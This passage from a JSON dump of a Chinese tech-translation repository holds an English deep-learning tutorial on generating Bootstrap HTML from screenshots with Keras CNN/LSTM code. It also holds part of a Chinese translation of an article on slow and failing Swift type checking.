img_to_array(load_img('images/87.jpg', target_size=(299, 299)))\n    test_image = np.array(test_image, dtype=float)\n    test_image = preprocess_input(test_image)\n    test_features = IR2.predict(np.array([test_image]))\n    generate_desc(model, tokenizer, np.array(test_features), 100)\n```\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/turning-design-mockups-into-code-with-deep-learning-2.md",
    "content": "> * 原文地址：[Turning Design Mockups Into Code With Deep Learning - Part 2](https://blog.floydhub.com/turning-design-mockups-into-code-with-deep-learning/)\n> * 原文作者：[Emil Wallner](https://twitter.com/EmilWallner)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-2.md)\n> * 译者：\n> * 校对者：\n\n# Turning Design Mockups Into Code With Deep Learning - Part 2\n\n- [Turning Design Mockups Into Code With Deep Learning - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-1.md)\n- [Turning Design Mockups Into Code With Deep Learning - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/turning-design-mockups-into-code-with-deep-learning-2.md)\n\n### Output\n\n![](https://blog.floydhub.com/static/html_output-ba7571455ed0209f2d98b2cd1f94b9df-6c1a3.png) \n\n#### Links to generated websites\n\n* [250 epochs](https://emilwallner.github.io/html/250_epochs/)\n* [350 epochs](https://emilwallner.github.io/html/350_epochs/)\n* [450 epochs](https://emilwallner.github.io/html/450_epochs/)\n* [550 epochs](https://emilwallner.github.io/html/550_epochs/)\n\nIf you can’t see anything when you click these links, you can right click and click on ‘View Page Source’. Here is the [original website](https://emilwallner.github.io/html/Original/) for reference.\n\n### Mistakes I made:\n\n* **LSTMs are a lot heavier for my cognition compared to CNNs**. When I unrolled all the LSTMs they became easier to understand. [Fast.ai’s video on RNNs](http://course.fast.ai/lessons/lesson6.html) was super useful. Also, focus on the input and output features before you try understanding how they work.\n* **Building a vocabulary from the ground up is a lot easier than narrowing down a huge vocabulary.** This includes everything from fonts, div sizes, hex colors to variable names and normal words.\n* **Most of the libraries are created to parse text documents and not code.** In documents, everything is separated by a space, but in code, you need custom parsing.\n* **You can extract features with a model that’s trained on Imagenet.** This might seem counterintuitive since Imagenet has few web images. However, the loss is 30% higher compared to to a pix2code model, which is trained from scratch. I’d be interesting to use a pre-train inception-resnet type of model based on web screenshots.\n\n## Bootstrap version\n\nIn our final version, we’ll use a dataset of generated bootstrap websites from the [pix2code paper.](https://arxiv.org/abs/1705.07962) By using Twitter’s [bootstrap](https://getbootstrap.com/), we can combine HTML and CSS and decrease the size of the vocabulary.\n\nWe’ll enable it to generate the markup for a screenshot it has not seen before. We’ll also dig into how it builds knowledge about the screenshot and markup.\n\nInstead of training it on the bootstrap markup, we’ll use 17 simplified tokens that we then translate into HTML and CSS. [The dataset](https://github.com/tonybeltramelli/pix2code/tree/master/datasets) includes 1500 test screenshots and 250 validation images. For each screenshot there are on average 65 tokens, resulting in 96925 training examples.\n\nBy tweaking the model in the pix2code paper, the model can predict the web components with 97% accuracy (BLEU 4-ngram greedy search, more on this later).\n\n![](/bootstrap_overview-99e7deb3c036ab6d5def0ab33f2e4d69.gif)\n\n#### An end-to-end approach\n\nExtracting features from pre-trained models works well in image captioning models. But after a few experiments, I realized that pix2code’s end-to-end approach works better for this problem. The pre-trained models have not been trained on web data and are customized for classification.\n\nIn this model, we replace the pre-trained image features with a light convolutional neural network. Instead of using max-pooling to increase information density, we increase the strides. This maintains the position and the color of the front-end elements.\n\n![](https://blog.floydhub.com/static/model_more_detail_alone-bfbf97a5ec65ff255f35a8e3cd2069e0-6c1a3.png) \n\nThere are two core models that enable this: convolutional neural networks (CNN) and recurrent neural networks (RNN). The most common recurrent neural network is long-short term memory (LSTM), so that’s what I’ll refer to.\n\nThere are plenty of great CNN tutorials and I covered them in [my previous article](https://blog.floydhub.com/colorizing-b&w-photos-with-neural-networks/). Here, I’ll focus on the LSTMs.\n\n#### Understanding timesteps in LSTMs\n\nOne of the harder things to grasp about LSTMs is timesteps. A vanilla neural network can be thought of as two timesteps. If you give it “Hello”, it predicts “World”. But it would struggle to predict more timesteps. In the below example, the input has four timesteps, one for each word.\n\nLSTMs are made for input with timesteps. It’s a neural network customized for information in order. If you unroll our model it looks like this. For each downward step, you keep the same weights. You apply one set of weights to the previous output and another set to the new input.\n\n![](https://blog.floydhub.com/static/lstm_timesteps-51b6eece9c5e6abe2cc16b0dcac6eb53-6c1a3.png) \n\nThe weighted input and output are concatenated and added together with an activation. This is the output for that timestep. Since we reuse the weights, they draw information from several inputs and build knowledge of the sequence.\n\nHere is a simplified version of the process for each timestep in an LSTM.\n\n![](https://blog.floydhub.com/static/rnn_example-385ca1843bf3d88e93eec3294fcbb13c-6c1a3.png) \n\nTo get a feel for this logic, I’d recommend building an RNN from scratch with Andrew Trask’s [brilliant tutorial](https://iamtrask.github.io/2015/11/15/anyone-can-code-lstm/).\n\n#### Understanding the units in LSTM layers\n\nThe amount of units in each LSTM layer determines it’s ability to memorize. This also corresponds to the size of each output feature. Again, a feature is a long list of numbers used to transfer information between layers.\n\nEach unit in the LSTM layer learns to keep track of different aspects of the syntax. Below is a visualization of a unit that keeps tracks of the information in the row div. This is the simplified markup we are using to train the bootstrap model.\n\n![](https://blog.floydhub.com/static/lstm_cell_activation-1a1842b595ea638407a7389e26aa699b-6c1a3.png) \n\nEach LSTM unit maintains a cell state. Think of the cell state as the memory. The weights and activations are used to modify the state in different ways. This enables the LSTM layers to fine tune which information to keep and discard for each input.\n\nIn addition to passing through an output feature for each input it also forwards the cell states, one value for each unit in the LSTM. To get a feel for how the components within the LSTM interacts, I recommend [Colah’s tutorial](https://colah.github.io/posts/2015-08-Understanding-LSTMs/), Jayasiri’s [Numpy implementation](http://blog.varunajayasiri.com/numpy_lstm.html), and [Karphay’s lecture](https://www.youtube.com/watch?v=yCC09vCHzF8) and [write-up.](https://karpathy.github.io/2015/05/21/rnn-effectiveness/)\n\n```\n    dir_name = 'resources/eval_light/'\n\n    # Read a file and return a string\n    def load_doc(filename):\n        file = open(filename, 'r')\n        text = file.read()\n        file.close()\n        return text\n\n    def load_data(data_dir):\n        text = []\n        images = []\n        # Load all the files and order them\n        all_filenames = listdir(data_dir)\n        all_filenames.sort()\n        for filename in (all_filenames):\n            if filename[-3:] == \"npz\":\n                # Load the images already prepared in arrays\n                image = np.load(data_dir+filename)\n                images.append(image['features'])\n            else:\n                # Load the boostrap tokens and rap them in a start and end tag\n                syntax = '<START> ' + load_doc(data_dir+filename) + ' <END>'\n                # Seperate all the words with a single space\n                syntax = ' '.join(syntax.split())\n                # Add a space after each comma\n                syntax = syntax.replace(',', ' ,')\n                text.append(syntax)\n        images = np.array(images, dtype=float)\n        return images, text\n\n    train_features, texts = load_data(dir_name)\n\n    # Initialize the function to create the vocabulary \n    tokenizer = Tokenizer(filters='', split=\" \", lower=False)\n    # Create the vocabulary \n    tokenizer.fit_on_texts([load_doc('bootstrap.vocab')])\n\n    # Add one spot for the empty word in the vocabulary \n    vocab_size = len(tokenizer.word_index) + 1\n    # Map the input sentences into the vocabulary indexes\n    train_sequences = tokenizer.texts_to_sequences(texts)\n    # The longest set of boostrap tokens\n    max_sequence = max(len(s) for s in train_sequences)\n    # Specify how many tokens to have in each input sentence\n    max_length = 48\n\n    def preprocess_data(sequences, features):\n        X, y, image_data = list(), list(), list()\n        for img_no, seq in enumerate(sequences):\n            for i in range(1, len(seq)):\n                # Add the sentence until the current count(i) and add the current count to the output\n                in_seq, out_seq = seq[:i], seq[i]\n                # Pad all the input token sentences to max_sequence\n                in_seq = pad_sequences([in_seq], maxlen=max_sequence)[0]\n                # Turn the output into one-hot encoding\n                out_seq = to_categorical([out_seq], num_classes=vocab_size)[0]\n                # Add the corresponding image to the boostrap token file\n                image_data.append(features[img_no])\n                # Cap the input sentence to 48 tokens and add it\n                X.append(in_seq[-48:])\n                y.append(out_seq)\n        return np.array(X), np.array(y), np.array(image_data)\n\n    X, y, image_data = preprocess_data(train_sequences, train_features)\n\n    #Create the encoder\n    image_model = Sequential()\n    image_model.add(Conv2D(16, (3, 3), padding='valid', activation='relu', input_shape=(256, 256, 3,)))\n    image_model.add(Conv2D(16, (3,3), activation='relu', padding='same', strides=2))\n    image_model.add(Conv2D(32, (3,3), activation='relu', padding='same'))\n    image_model.add(Conv2D(32, (3,3), activation='relu', padding='same', strides=2))\n    image_model.add(Conv2D(64, (3,3), activation='relu', padding='same'))\n    image_model.add(Conv2D(64, (3,3), activation='relu', padding='same', strides=2))\n    image_model.add(Conv2D(128, (3,3), activation='relu', padding='same'))\n\n    image_model.add(Flatten())\n    image_model.add(Dense(1024, activation='relu'))\n    image_model.add(Dropout(0.3))\n    image_model.add(Dense(1024, activation='relu'))\n    image_model.add(Dropout(0.3))\n\n    image_model.add(RepeatVector(max_length))\n\n    visual_input = Input(shape=(256, 256, 3,))\n    encoded_image = image_model(visual_input)\n\n    language_input = Input(shape=(max_length,))\n    language_model = Embedding(vocab_size, 50, input_length=max_length, mask_zero=True)(language_input)\n    language_model = LSTM(128, return_sequences=True)(language_model)\n    language_model = LSTM(128, return_sequences=True)(language_model)\n\n    #Create the decoder\n    decoder = concatenate([encoded_image, language_model])\n    decoder = LSTM(512, return_sequences=True)(decoder)\n    decoder = LSTM(512, return_sequences=False)(decoder)\n    decoder = Dense(vocab_size, activation='softmax')(decoder)\n\n    # Compile the model\n    model = Model(inputs=[visual_input, language_input], outputs=decoder)\n    optimizer = RMSprop(lr=0.0001, clipvalue=1.0)\n    model.compile(loss='categorical_crossentropy', optimizer=optimizer)\n\n    #Save the model for every 2nd epoch\n    filepath=\"org-weights-epoch-{epoch:04d}--val_loss-{val_loss:.4f}--loss-{loss:.4f}.hdf5\"\n    checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_weights_only=True, period=2)\n    callbacks_list = [checkpoint]\n\n    # Train the model\n    model.fit([image_data, X], y, batch_size=64, shuffle=False, validation_split=0.1, callbacks=callbacks_list, verbose=1, epochs=50)\n```\n\n### Test accuracy\n\nIt’s tricky to find a fair way to measure the accuracy. Say you compare word by word. If your prediction is one word out of sync, you might have 0% accuracy. If you remove one word which syncs the prediction, you might end up with 99/100.\n\nI used the BLEU score, best practice in machine translating and image captioning models. It breaks the sentence into four n-grams, from 1-4 word sequences. In the below prediction “cat” is supposed to be “code”.\n\n![](https://blog.floydhub.com/static/bleu_score-741cd6ede6d32df1de54a6d8dd41c530-6c1a3.png) \n\nTo get the final score you multiply each score with 25%, (4/5) * 0.25 + (2/4) * 0.25 + (1/3) * 0.25 + (0/2) * 0.25 = 0.2 + 0.125 + 0.083 + 0 = 0.408 . The sum is then multiplied with a sentence length penalty. Since the length is correct in our example, it becomes our final score.\n\nYou could increase the number of n-grams to make it harder. A four n-gram model is the model that best corresponds to human translations. I’d recommend running a few examples with the below code and reading the [wiki page.](https://en.wikipedia.org/wiki/BLEU)\n\n```\n    #Create a function to read a file and return its content\n    def load_doc(filename):\n        file = open(filename, 'r')\n        text = file.read()\n        file.close()\n        return text\n\n    def load_data(data_dir):\n        text = []\n        images = []\n        files_in_folder = os.listdir(data_dir)\n        files_in_folder.sort()\n        for filename in tqdm(files_in_folder):\n            #Add an image\n            if filename[-3:] == \"npz\":\n                image = np.load(data_dir+filename)\n                images.append(image['features'])\n            else:\n            # Add text and wrap it in a start and end tag\n                syntax = '<START> ' + load_doc(data_dir+filename) + ' <END>'\n                #Seperate each word with a space\n                syntax = ' '.join(syntax.split())\n                #Add a space between each comma\n                syntax = syntax.replace(',', ' ,')\n                text.append(syntax)\n        images = np.array(images, dtype=float)\n        return images, text\n\n    #Intialize the function to create the vocabulary\n    tokenizer = Tokenizer(filters='', split=\" \", lower=False)\n    #Create the vocabulary in a specific order\n    tokenizer.fit_on_texts([load_doc('bootstrap.vocab')])\n\n    dir_name = '../../../../eval/'\n    train_features, texts = load_data(dir_name)\n\n    #load model and weights \n    json_file = open('../../../../model.json', 'r')\n    loaded_model_json = json_file.read()\n    json_file.close()\n    loaded_model = model_from_json(loaded_model_json)\n    # load weights into new model\n    loaded_model.load_weights(\"../../../../weights.hdf5\")\n    print(\"Loaded model from disk\")\n\n    # map an integer to a word\n    def word_for_id(integer, tokenizer):\n        for word, index in tokenizer.word_index.items():\n            if index == integer:\n                return word\n        return None\n    print(word_for_id(17, tokenizer))\n\n    # generate a description for an image\n    def generate_desc(model, tokenizer, photo, max_length):\n        photo = np.array([photo])\n        # seed the generation process\n        in_text = '<START> '\n        # iterate over the whole length of the sequence\n        print('\\nPrediction---->\\n\\n<START> ', end='')\n        for i in range(150):\n            # integer encode input sequence\n            sequence = tokenizer.texts_to_sequences([in_text])[0]\n            # pad input\n            sequence = pad_sequences([sequence], maxlen=max_length)\n            # predict next word\n            yhat = loaded_model.predict([photo, sequence], verbose=0)\n            # convert probability to integer\n            yhat = argmax(yhat)\n            # map integer to word\n            word = word_for_id(yhat, tokenizer)\n            # stop if we cannot map the word\n            if word is None:\n                break\n            # append as input for generating the next word\n            in_text += word + ' '\n            # stop if we predict the end of the sequence\n            print(word + ' ', end='')\n            if word == '<END>':\n                break\n        return in_text\n\n    max_length = 48 \n\n    # evaluate the skill of the model\n    def evaluate_model(model, descriptions, photos, tokenizer, max_length):\n        actual, predicted = list(), list()\n        # step over the whole set\n        for i in range(len(texts)):\n            yhat = generate_desc(model, tokenizer, photos[i], max_length)\n            # store actual and predicted\n            print('\\n\\nReal---->\\n\\n' + texts[i])\n            actual.append([texts[i].split()])\n            predicted.append(yhat.split())\n        # calculate BLEU score\n        bleu = corpus_bleu(actual, predicted)\n        return bleu, actual, predicted\n\n    bleu, actual, predicted = evaluate_model(loaded_model, texts, train_features, tokenizer, max_length)\n\n    #Compile the tokens into HTML and css\n    dsl_path = \"compiler/assets/web-dsl-mapping.json\"\n    compiler = Compiler(dsl_path)\n    compiled_website = compiler.compile(predicted[0], 'index.html')\n\n    print(compiled_website )\n    print(bleu)\n```\n\n### Output\n\n![](https://blog.floydhub.com/static/bootstrap_output-8a1b036ddc436e20453b7c2962b0fa85-6c1a3.png) \n\n##### Links to sample output\n\n* [Generated website 1](https://emilwallner.github.io/bootstrap/pred_1/) - [Original 1](https://emilwallner.github.io/bootstrap/real_1/)\n* [Generated website 2](https://emilwallner.github.io/bootstrap/pred_2/) - [Original 2](https://emilwallner.github.io/bootstrap/real_2/)\n* [Generated website 3](https://emilwallner.github.io/bootstrap/pred_3/) - [Original 3](https://emilwallner.github.io/bootstrap/real_3/)\n* [Generated website 4](https://emilwallner.github.io/bootstrap/pred_4/) - [Original 4](https://emilwallner.github.io/bootstrap/real_4/)\n* [Generated website 5](https://emilwallner.github.io/bootstrap/pred_5/) - [Original 5](https://emilwallner.github.io/bootstrap/real_5/)\n\n### Mistakes I made:\n\n* **Understand the weakness of the models instead of testing random models.** First I applied random things such as batch normalization, bidirectional networks and tried implementing attention. After looking at the test data and seeing that it could not predict color and position with high accuracy I realized there was a weakness in the CNN. This lead me to replace maxpooling with increased strides. The validation loss went from 0.12 to 0.02 and increased the BLEU score from 85% to 97%.\n* **Only use pre-trained models if they are relevant.** Given the small dataset I thought that a pre-trained image model would improve the performance. From my experiments, and end-to-end model is slower to train and requires more memory, but is 30% more accurate.\n* **Plan for slight variance when you run your model on a remote server.** On my mac, it read the files in alphabetic order. However, on the server, it was randomly located. This created a mismatch between the screenshots and the code. It still converged, but was the validation data was 50% worse than when I fixed it.\n* **Make sure you understand library functions.** Include space for the empty token in your vocabulary. When I didn’t add it, it did not include one of the tokens. I only noticed it after looking at the final output several times and noticing that it never predicted a “single” token. After a quick check, I realized it wasn’t even in the vocabulary. Also, use the same order in the vocabulary for training and testing.\n* **Use lighter models when experimenting.** Using GRUs instead of LSTMs reduced each epoch cycle by 30%, and did not have a large effect on the performance.\n\n## Next steps\n\nFront-end development is an ideal space to apply deep learning. It’s easy to generate data and the current deep learning algorithms can map most of the logic.\n\nOne of the most exciting areas is [applying attention to LSTMs](https://arxiv.org/pdf/1502.03044.pdf). This will not just improve the accuracy, but enable us to visualize where the CNN puts its focus as it generates the markup.\n\nAttention is also key for communicating between markup, stylesheets, scripts and eventually the backend. Attention layers can keep track of variables, enabling the network to communicate between programming languages.\n\nBut in the near feature, the biggest impact will come from building a scalable way to synthesize data. Then you can add fonts, colors, words, and animations step-by-step.\n\nSo far, most progress is happening in taking sketches and turning them into template apps. In less then two years, we’ll be able to draw an app on paper and have the corresponding front-end in less than a second. There are already two working prototypes built by [Airbnb’s design team](https://airbnb.design/sketching-interfaces/) and [Uizard](https://www.uizard.io/).\n\nHere are some experiments to get started.\n\n## Experiments\n\n##### Getting started\n\n* Run all the models\n* Try different hyper parameters\n* Test a different CNN architecture\n* Add Bidirectional LSTM models\n* Implement the model with a [different dataset](http://lstm.seas.harvard.edu/latex/). (You can easily mount this dataset in your FloydHub jobs with this flag `--data emilwallner/datasets/100k-html:data`)\n\n##### Further experiments\n\n* Creating a solid random app/web generator with the corresponding syntax.\n* Data for a sketch to app model. Auto-convert the app/web screenshots into sketches and use a GAN to create variety.\n* Apply an attention layer to visualize the focus on the image for each prediction, [similar to this model](https://arxiv.org/abs/1502.03044).\n* Create a framework for a modular approach. Say, having encoder models for fonts, one for color, another for layout and combine them with one decoder. A good start could be solid image features.\n* Feed the network simple HTML components and teach it to generate animations using CSS. It would be fascinating to have an attention approach and visualize the focus on both input sources.\n\n**Huge thanks to** Tony Beltramelli and Jon Gold for answering questions, their research, and all their ideas. Thanks to Jason Brownlee for his stellar Keras tutorials, I included a few snippets from his tutorial in the core Keras implementation, and Beltramelli for providing the data. Also thanks to Qingping Hou, Charlie Harrington, Sai Soundararaj, Jannes Klaas, Claudio Cabral, Alain Demenet and Dylan Djian for reading drafts of this.\n\n* * *\n\n## About Emil Wallner\n\nThis the fourth part of a multi-part blog series from Emil as he learns deep learning. Emil has spent a decade exploring human learning. He's worked for Oxford's business school, invested in education startups, and built an education technology business. Last year, he enrolled at [Ecole 42](https://twitter.com/paulg/status/847844863727087616) to apply his knowledge of human learning to machine learning.\n\nYou can follow along with Emil on [Twitter](https://twitter.com/EmilWallner) and [Medium](https://medium.com/@emilwallner).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/type-checker-issues.md",
    "content": "> * 原文链接: [Exponential time complexity in the Swift type checker](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html)\n* 原文作者: [Matt Gallagher](http://www.cocoawithlove.com/about/)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者: [Zheaoli](https://github.com/Zheaoli)\n* 校对者: [geeeeeeeeek](https://github.com/geeeeeeeeek), [Graning](https://github.com/Graning)\n\n# 详解 Swift 的类型检查器 \n\n这篇文章将围绕曾不断使我重写代码的一些 **Swift** 编译器的报错信息展开：\n\n> 错误：你的表达式太过于复杂，请将其分解为一些更为简单的表达式。（译者注：原文是 `error: expression was too complex to be solved in reasonable time; consider breaking up the expression into distinct sub-expressions`）\n\n我会看那个触发错误的例子，谈谈以后由相同底层问题引起以外的编译错误的负面影响。我将会带领你看看在编译过程中发生了什么，然后告诉你，怎样在短时间内去解决这些报错。\n\n我将为编译器设计一种时间复杂度为线性算法来代替原本的指数算法来彻底的解决这个问题，而不需要采用其余更复杂的方法。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#errors-compiling-otherwise-valid-code)正确代码的编译错误\n\n如果你尝试在 **Swift 3** 中编译这段代码，那么将会产生报错信息：\n\n```Swift\nlet a: Double = -(1 + 2) + -(3 + 4) + 5\n```\n\n这段代码无论从哪方面来讲都是合法且正确的代码，从理论上讲，在编译过程中，这段代码将会被优化成一个固定的值。\n\n但是这段代码在编译过程中没有办法通过 **Swift** 的类型检查。编译器会告诉你这段代码太复杂了。但是，等等，这段代码看起来一点都不复杂不是么。里面包含 5 个变量， 4 次加法操作， 2 次取负值操作和一次强制转换为 `Double` 类型的操作。\n\n但是，编译器你怎么能说这段仅包含 12 个元素的语句相当复杂呢？\n\n这里有非常多的表达式在编译的时候会出现同样的问题。大多数表达式包含一些变量，基础的数据操作，可能还有一些重载之类的操作。接下来的表达式在编译时会面对同样的错误信息：\n\n\n```Swift\nlet b = String(1) + String(2) + String(3) + String(4)\n\nlet c = 1 * sqrt(2.0) * 3 * 4 * 5 * 6 * 7\n\nlet d = [\"1\" + \"2\"].reduce(\"3\") { \"4\" + String($0) + String($1) }\n\nlet e: [(Double) -> String] = [\n  { v in String(v + v) + \"1\" },\n  { v in String(-v) } + \"2\",\n  { v in String(Int(v)) + \"3\" }\n]\n```\n\n上面的代码都是符合 **Swift** 语法及编程规则的，但是在编译过程中，它们都没有办法通过类型检查。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#needlessly-long-compile-times)需要较长的编译时间\n\n编译报错只是 **Swift** 类型检查器缺陷带来的副作用之一，比如，你可以试试下面这个例子：\n\n```\nlet x = { String(\"\\($0)\" + \"\") + String(\"\\($0)\" + \"\") }(0)\n```\n\n这段代码编译时不会报错，但是在我的电脑上，使用 **Swift 2.3** 将花费 **4s** 的时间，如果是使用 **Swift 3** 将会花费 **15s** 时间。编译过程中，将会花费大量的时间在类型检查上。\n\n现在，你可能不会遇到太多需要耗费这么多时间的问题，但是一个大型的 **Swift** 项目中，你将会遇到很多 `expression was too complex to be solved in reasonable time` 这样的报错信息。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#unexpected-behaviors)不可预知的操作\n\n接下来，我将讲一点 **Swift** 类型检查器的特性：类型检查器选择尽可能的解决非泛型重载的问题。 编译器中处理这种特定行为的路径下的代码注释对此给出了解释，这是一种避免性能问题的优化手段，用于优化造成 `expression was too complex` 报错的性能问题。\n\n接下来是一些具体的例子：\n\n```Swfit\nlet x = -(1)\n```\n\n这段代码将会编译失败，我们会得到一个 `Ambiguous use of operator ‘-‘` 的报错信息。\n\n这段代码并不算很模糊，编译器将会明白我们想要使用一个整数类型的变量，它将会把 `1` 作为一个 `Int` 进行处理，同时从标准库中选择如下的重载方式：\n\n<figure>\n\n```Swfit\nprefix public func -<T : SignedNumber>(x: T) -> T\n```\n\n然而，**Swift** 只能进行非泛型重载。在这个例子中，`Float` 、 `Double` 、 `Float80` 类型的实现并不完善，编译器无法根据上下文选择使用哪种实现，从而导致了这个报错信息。\n\n某些特定的优化可以对操作符进行优化，但是可能导致如下的一些问题：\n\n```Swift\nfunc f(_ x: Float) -> Float { return x }\nfunc f<I: Integer>(_ x: I) -> I { return x }\n\nlet x = f(1)\n\nprefix operator %% {}\nprefix func %%(_ x: Float) -> Float { return x }\nprefix func %%<I: Integer>(_ x: I) -> I { return x }\n\nlet y = %%1\n```\n\n在这段代码里，我们定义了两个函数（ `f ` 和一个自定的操作 `prefix %%` ）。每个函数都进行了两次重载，一个参数为 `(Float) -> Float` ，另一个是 `<I: Integer>(I) -> I`。\n\n当调用 `f(1)` 的时候，将会选择使用 `<I: Integer>(I) -> If(1)` 的实现，然后 `x` 将会作为 `Int` 类型进行处理。这应该是你所期待的方式。\n\n当调用 `%%1` 时，将会使用 `(Float) -> Float` 的实现，同时会将 `y` 作为 `Float` 类型处理，这和我们所期望的恰恰相反。在编译过程中，编译器选择将 `1` 作为 `Float` 处理，而不是作为 `Int` 处理，虽然作为 `Int` 处理也同样能正常工作。造成这样情况的原因是，编译器在对方法的进行泛型重载之前就已经先行确定变量的类型。这不是基于前后文一致性的做法，这是编译器对于避免类似于 `expression was too complex to be solved` 等报错信息以及性能优化上的一种妥协。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#working-around-the-problem-in-our-code)在代码中解决上诉问题\n\n通常来讲，**Swift** 里的显示代码太过复杂的缺陷并不是一个太大的问题，当然前提是你不会在单个表达式里使用两个或两个以上的下面列出的特性：\n\n*   方法重载（包括操作符重载）\n*   常量\n*   不明确类型的闭包    \n*   会引导 **Swift** 进行错误类型转换的表达式\n\n一般而言，如果你不使用如上面所述的特性，那么你一般不会遇到类似于 `expression was too complex` 的报错信息。然而，如果选择是用了上面所诉的特性，那么你可能会面临一些让你感到困惑的问题。通常，在编写一个足够大小的方法和其余常规代码的时候，将会很容易用到上面这些特性，这意味着有些时候我们可能要仔细考虑怎样避免大量使用上面这些特性。\n\n你肯定是想只通过一点细微的修改来通过编译，而不是大量修改你的代码。接下来的一点小建议可能帮得上一些忙。\n\n当上面所诉的编译报错信息出现时，编译器可能建议你将原表达式分割成不同的子表达式：\n\n```Swift\nlet x_1: Double = -(1 + 2)\nlet x_2: Double = -(3 + 4)\nlet x: Double = x_1 + x_2 + 5\n```\n\n好了，从结果上来看，这样的修改是有效的，但是却让人有点蛋疼，特别是在分解成子表达式的时候会明显破坏代码可读性的时候。\n\n另一个建议是通过显示类型转换，减少编译器在编译过程中对方法和操作符重载的选取次数。\n\n```Swift\nlet x: Double = -(1 + 2) as Double + -(3 + 4) as Double + 5\n```\n\n上面这种做法避免了在使用 `(Float) -> Float` 或者是 `(Float80) -> Float80` 编译器需要去查找相对应的负号重载。这样的做法很有效的将编译过程中编译器的6次查找相对应的方法重载过程降至4次。\n\n在上面的处理方式中有一个点要注意一下：不同于其余语言，在 **Swift** 中 `Double(x)` 并不等同于 ` x as Double `。构造函数通常会如同普通方法一样，当有不同参数的重载需求时，编译器还是会将构造函数的各种重载加入到搜索空间中（尽管这些重载可能在代码中的不同的位置）。在前面所举的例子里，通过在括号前用 `Double` 进行显示类型转换会解决一部分问题（这种方法有利于编译器进行类型检查），同时在一些情况下，采用这种方法会导致出现一些其余的问题（请参见本文开始所举的关于 `String` 的例子）。最终， 使用`as` 操作符是在不增加复杂度的情况下解决这类的问题的最好方式。幸运的是，`as` 操作符的优先级比大多数二元运算符更高，这样我们可以在大多数的情况下使用它。\n\n另一种方法是使用一个独立命名的自定义函数：\n\n\n```Swift\nlet x: Double = myCustomDoubleNegation(1 + 2) + myCustomDoubleNegation(3 + 4) + 5\n```\n\n\n这种方法可以解决之前方法重载所带来的一系列问题。然而，在一系列轻量级的代码里使用这种方式会让我们的代码显得格外的丑陋。\n\n好了，让我们来说说最后的方法，在很多情况下，你可以根据情况自行替换方法和操作符：\n\n\n```Swift\nlet x: Double = (1 + 2).negated() + (3 + 4).negated() + 5\n```\n\n\n因为在使用对应方法时，和使用常见算数运算符相比，会有效的减少重载次数，同时使用 `.` 操作符时其效率相较于直接调用方法更高，因此，这种方法能有效解决我们前面所提到的问题。\n\n## [](http://www.cocoawithlove.com/blog/2016/07/12/type-checker-issues.html#swifts-constraints-system-solver)**Swift**类型约束系统简析\n\n编译时出现的 `expression was too complex` 错误是由 **Swift** 编译器的语义分析系统所抛出的。语义分析系统的意义在于解决整个代码里的类型问题，从而确保输入表达式的类型是正确且安全的。\n\n最重要的是，整个报错信息是由[the constraints system solver (CSSolver.cpp)](https://github.com/apple/swift/blob/master/lib/Sema/CSSolver.cpp)里所编写的语义分析系统所定义的。类型约束系统将从 **Swift** 的表达式里构建一个由类型和方法组成的图，并根据节点之间的关系来对代码进行约束。约束系统将对每个节点进行推算直至每个节点都已获得明确的类型约束。\n\n\n讲真，上面的东西可能太抽象了，让我们看点具体的例子吧。\n\n\n```Swift\nlet a = 1 + 2\n```\n\n\n类型约束系统将表达式解析成下面这个样子：\n\n![a simple constraints graph](http://www.cocoawithlove.com/assets/blog/constraints_graph1.svg)\n\n每个节点的名字都以 `T` 开头（意味着需要待确定明确的类型），然后它们用来代表需要解决的类型约束或者方法重载。在这个图里，这些节点被如下的规则所约束：\n\n1.  `T1` 是 `ExpressibleByIntegerLiteral` 类型\n2.  `T2` 是 `ExpressibleByIntegerLiteral` 类型\n3.  `T0` 是一个传入 `(T1,T2)` 返回 `T3` 的方法\n4.  `T0` 是 `infix +` ，其在 **Swift** 里有28种实现\n5.  `T3` 与 `T4` 之间可以进行交换\n\n> 小贴士: 在 **Swift 2.X** 中，`ExpressibleByIntegerLiteral` 的替代者是 